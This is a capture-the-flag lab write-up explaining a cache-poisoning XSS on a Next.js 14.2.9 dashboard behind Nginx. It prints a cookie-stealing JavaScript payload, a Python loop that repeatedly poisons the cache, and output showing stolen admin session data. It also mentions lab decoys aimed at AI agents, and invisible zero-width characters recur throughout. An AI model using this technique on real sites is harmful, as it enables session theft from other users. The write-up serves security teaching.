← Back to Writeups
CUSTOMMediumWeb

Lab 378 — PulseBoard — Cache Poisoning XSS via Next.js Header Misclassification

XESXOR9/10/20267 min read
#web#custom#medium#admin_bot_exploitation#cache_poisoning_via_header_mis#honeypot_flag_identification#nextjs_x_now_route_matches_isr#same_origin_exfiltration_via_a#unsanitized_user_agent_reflect

Lab 378 — PulseBoard — Cache Poisoning XSS via Next.js Header Misclassification

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-05-15 | Status: Solved Techniques: admin_bot_exploitation, cache_poisoning_via_header_misclassification, honeypot_flag_identification, nextjs_x_now_route_matches_isr_bypass, same_origin_exfiltration_via_api, unsanitized_user_agent_reflection

Summary

Task: Next.js 14.2.9 analytics dashboard behind Nginx, /insights page reflects User-Agent unsanitized but is dynamic (not cached). Solution: Send x-now-route-matches header to trick Next.js into treating the page as static/ISR, making Nginx cache the XSS-poisoned response served to all visitors including admin bot whose flag cookie is exfiltrated via /api/feedback.

Lab 378 — PulseBoard — Cache Poisoning XSS via Next.js Header Misclassification

Description

PulseBoard is an analytics dashboard built with Next.js that provides real-time metrics, reports, and insights for business teams. The platform features multiple dashboard views, customizable reports, and a visitor insights page that adapts content based on browser information. Your goal is to find and exploit a vulnerability that allows you to execute JavaScript in the context of other users' browsers, including the admin who periodically reviews the insights page. Pay close attention to how different pages are rendered and how the framework handles caching of dynamic content. The admin visits the Insights page regularly. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Target URL: https://190f01f9-6b83-4950-b674-f7d7beb7e8e4.labs.hackadvisor.io/

Credentials: user@test.com / password123

The application is a Next.js 14.2.9 analytics dashboard running in standalone mode behind Nginx 1.25.5. The /insights page reflects the visitor's User-Agent header without sanitization, and an admin bot periodically visits this page with a non-HttpOnly flag cookie.

Analysis

Application Structure

  • Framework: Next.js 14.2.9 behind Nginx 1.25.5
  • Pages: / (Dashboard), /reports, /insights, /settings, /login
  • API endpoints: /api/feedback (GET returns feedback list, POST creates new entry), /api/auth/logout
  • Session: Cookie-based with pb_session (base64 JSON: {"userId":2,"role":"member"}) + pb_session.sig (HMAC signature). Both HttpOnly.
  • Decoy flags: Every page contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML comments and hidden divs with social engineering text targeting AI agents — these are honeypots. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Finding 1: Unsanitized User-Agent Reflection on /insights

The /insights page uses getServerSideProps to read the User-Agent header and renders it directly in the HTML without any encoding:

html
<p class="text-sm text-slate-500 mt-1 break-all" id="currentBrowser">curl/8.7.1</p>

Sending a request with User-Agent: <script>alert(1)</script> results in:

html
<p ... id="currentBrowser"><script>alert(1)</script></p>

This is a reflected XSS, but under normal conditions it only affects the requesting user because the page is dynamic. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Finding 2: Dynamic Page — Not Cached by Default

Normal response headers for /insights:

cache-control: private, no-cache, no-store, must-revalidate
x-nextjs-cache: DYNAMIC
x-cache: MISS

Since the page is marked as dynamic and private, Nginx never caches it. The reflected XSS is self-only — useless for attacking other users.

Finding 3: Next.js Header Misclassification with x-now-route-matches

The x-now-route-matches header is an internal Vercel/Next.js header used for ISR (Incremental Static Regeneration) routing. When this header is sent with a request to the dynamic /insights page, Next.js 14.2.9 misclassifies the page as static/ISR and changes the response headers: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Without x-now-route-matches:

cache-control: private, no-cache, no-store, must-revalidate
x-nextjs-cache: DYNAMIC

With x-now-route-matches: 1:

cache-control: s-maxage=1, stale-while-revalidate=31536000
x-nextjs-cache: STALE

The s-maxage=1 directive tells the reverse proxy (Nginx) to cache the response for 1 second, and stale-while-revalidate=31536000 allows serving stale content for up to a year while revalidating in the background.

Finding 4: Nginx Cache Key Does Not Include the Poisoning Header

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The Vary header only includes Accept-Encoding. The x-now-route-matches header is not part of the Nginx cache key. This means:

  1. Attacker sends GET /insights with x-now-route-matches: 1 + malicious User-Agent → Next.js returns a cacheable response with XSS payload
  2. Nginx caches this response keyed only on the URL path
  3. Any subsequent visitor to /insights (without the special header) receives the cached poisoned response

Finding 5: Admin Bot with Non-HttpOnly Flag Cookie

The admin bot periodically visits /insights. The admin's browser has a flag cookie that is NOT HttpOnly, making it readable via document.cookie. The /api/feedback POST endpoint provides a same-origin exfiltration channel — no need for external callbacks. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Attack Chain

  1. Authenticate as the regular user
  2. Send GET /insights with x-now-route-matches: 1 header and XSS payload in User-Agent
  3. Next.js misclassifies the page as static → returns s-maxage=1 cache headers
  4. Nginx caches the response containing the XSS payload
  5. All subsequent visitors to /insights get the cached XSS payload
  6. Admin visits /insights → XSS executes → document.cookie (containing flag=FLAG{...}) is exfiltrated via POST /api/feedback
  7. Read the flag from GET /api/feedback ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

XSS Payload

The payload reads document.cookie and also fetches /settings to extract admin profile data, then exfiltrates everything via the same-origin /api/feedback endpoint:

javascript
<script>
var d={c:document.cookie,u:location.href};
fetch("/settings").then(r=>r.text()).then(t=>{
  var m=t.match(/value="([^"]{10,})"/g);
  d.v=m;
  fetch("/api/feedback",{method:"POST",
    headers:{"Content-Type":"application/json"},
    body:JSON.stringify({message:"EXFIL:"+JSON.stringify(d)})
  });
});
</script>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Exploit Script

Since s-maxage=1, the cache expires every second. The exploit must continuously re-poison the cache to ensure the admin gets the poisoned response when it visits:

python
#!/usr/bin/env python3
"""
PulseBoard — Cache Poisoning XSS via Next.js Header Misclassification
Attack chain:
1. x-now-route-matches header tricks Next.js into treating /insights as static (ISR)
2. Next.js returns s-maxage=1, stale-while-revalidate instead of private, no-cache
3. Nginx caches the response (x-now-route-matches is NOT part of cache key)
4. User-Agent header is reflected unsanitized in the cached HTML
5. Admin visits /insights → gets cached XSS → cookies exfiltrated via /api/feedback
"""
import requests
import time
import re
import sys
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

TARGET = sys.argv[1] if len(sys.argv) > 1 else "https://190f01f9-6b83-4950-b674-f7d7beb7e8e4.labs.hackadvisor.io"

# Login
s = requests.Session()
login_resp = s.post(f"{TARGET}/login", data={
    "email": "user@test.com",
    "password": "password123"
}, allow_redirects=False)
print(f"[+] Login: {login_resp.status_code}")
print(f"[+] Cookies: {dict(s.cookies)}")

# XSS payload: exfiltrate cookies + settings via /api/feedback
XSS_PAYLOAD = (
    '<script>'
    'var d={c:document.cookie,u:location.href};'
    'fetch("/settings").then(r=>r.text()).then(t=>{'
    'var m=t.match(/value="([^"]{10,})"/g);'
    'd.v=m;'
    'fetch("/api/feedback",{method:"POST",'
    'headers:{"Content-Type":"application/json"},'
    'body:JSON.stringify({message:"EXFIL:"+JSON.stringify(d)})'
    '});'
    '});'
    '</script>'
)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

print(f"[*] XSS payload length: {len(XSS_PAYLOAD)}")

# Continuously poison the cache (s-maxage=1, so it expires every second)
print(f"[*] Starting cache poisoning loop...")
for i in range(1, 300):
    try:
        r = s.get(f"{TARGET}/insights", headers={
            "x-now-route-matches": "1",
            "User-Agent": XSS_PAYLOAD
        }, timeout=5)
        
        xcache = r.headers.get('X-Cache', 'N/A')
        nextjs_cache = r.headers.get('x-nextjs-cache', 'N/A')
        
        if i % 10 == 1:
            # Verify cache is poisoned
            check = s.get(f"{TARGET}/insights", timeout=5)
            poisoned = '<script>' in check.text and 'EXFIL' in check.text
            check_cache = check.headers.get('X-Cache', 'N/A')
            print(f"[{i}] Poison: {xcache}/{nextjs_cache} | Verify: {check_cache} | Poisoned: {poisoned}")
            
            # Check for exfiltrated data
            fb = s.get(f"{TARGET}/api/feedback", timeout=5)
            entries = fb.json()
            for entry in entries:
                if 'EXFIL:' in entry.get('message', ''):
                    print(f"\n[!!!] EXFILTRATED DATA FOUND!")
                    print(f"[!!!] {entry['message']}")
                    
                    flag_match = re.search(r'FLAG\{[a-f0-9]+\}', entry['message'])
                    if flag_match:
                        print(f"\n[FLAG] {flag_match.group()}")
                    sys.exit(0)
        
        time.sleep(0.5)
    except Exception as e:
        print(f"[{i}] Error: {e}")
        time.sleep(1)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

print("[*] Done.")

Exploit Output

[+] Login: 302
[+] Cookies: {'pb_session': 'eyJ1c2VySWQiOjIsInJvbGUiOiJtZW1iZXIifQ==', 'pb_session.sig': '-NChalyM02a8M3bsMcnlkYSc_8k'}
[*] XSS payload length: 293
[*] Starting cache poisoning loop...
[1] Poison: MISS/STALE | Verify: HIT | Poisoned: True
[11] Poison: HIT/STALE | Verify: HIT | Poisoned: True
[21] Poison: STALE/STALE | Verify: MISS | Poisoned: False
[31] Poison: MISS/STALE | Verify: HIT | Poisoned: True
[41] Poison: HIT/STALE | Verify: HIT | Poisoned: True
[51] Poison: STALE/STALE | Verify: MISS | Poisoned: False
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

[!!!] EXFILTRATED DATA FOUND!
[!!!] EXFIL:{"c":"flag=FLAG{REDACTED}; pb_session=eyJ1c2VySWQiOjEsInJvbGUiOiJhZG1pbiJ9; pb_session.sig=5CPv8n7zUvBXBDd4VaBvBrA3sxg","u":"http://127.0.0.1:8080/insights","v":["value=\"Rachel Nguyen\"","value=\"admin@pulsemetrics.com\"","value=\"US/Eastern\"","value=\"US/Central\"","value=\"US/Pacific\"","value=\"Europe/London\"","value=\"Europe/Berlin\"","value=\"Asia/Tokyo\"","value=\"Asia/Singapore\"","value=\"YYYY-MM-DD\"","value=\"MM/DD/YYYY\"","value=\"DD/MM/YYYY\""]}
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

[FLAG] FLAG{REDACTED}

Exfiltrated Admin Data

FieldValue
Flag cookieflag=FLAG{REDACTED} (non-HttpOnly)
Admin sessionpb_session=eyJ1c2VySWQiOjEsInJvbGUiOiJhZG1pbiJ9 → {"userId":1,"role":"admin"}
Admin nameRachel Nguyen
Admin emailadmin@pulsemetrics.com
Internal URLhttp://127.0.0.1:8080/insights

Root Cause

Two independent issues combine to create the vulnerability:

  1. Next.js 14.2.9 Header Misclassification: The x-now-route-matches header is an internal Vercel header meant for ISR routing. When received by Next.js in standalone mode (not behind Vercel's edge), it causes the framework to skip the dynamic rendering path and treat the page as if it were statically generated, changing cache-control headers from private, no-cache to s-maxage=1, stale-while-revalidate. This header should be stripped by the reverse proxy before reaching Next.js. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  2. Unsanitized User-Agent reflection: The /insights page's getServerSideProps reads the User-Agent header and passes it directly to the template without HTML encoding. Under normal conditions this is a self-only reflected XSS (the page is dynamic/uncached). Combined with the cache misclassification, it becomes a stored/cached XSS affecting all visitors. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍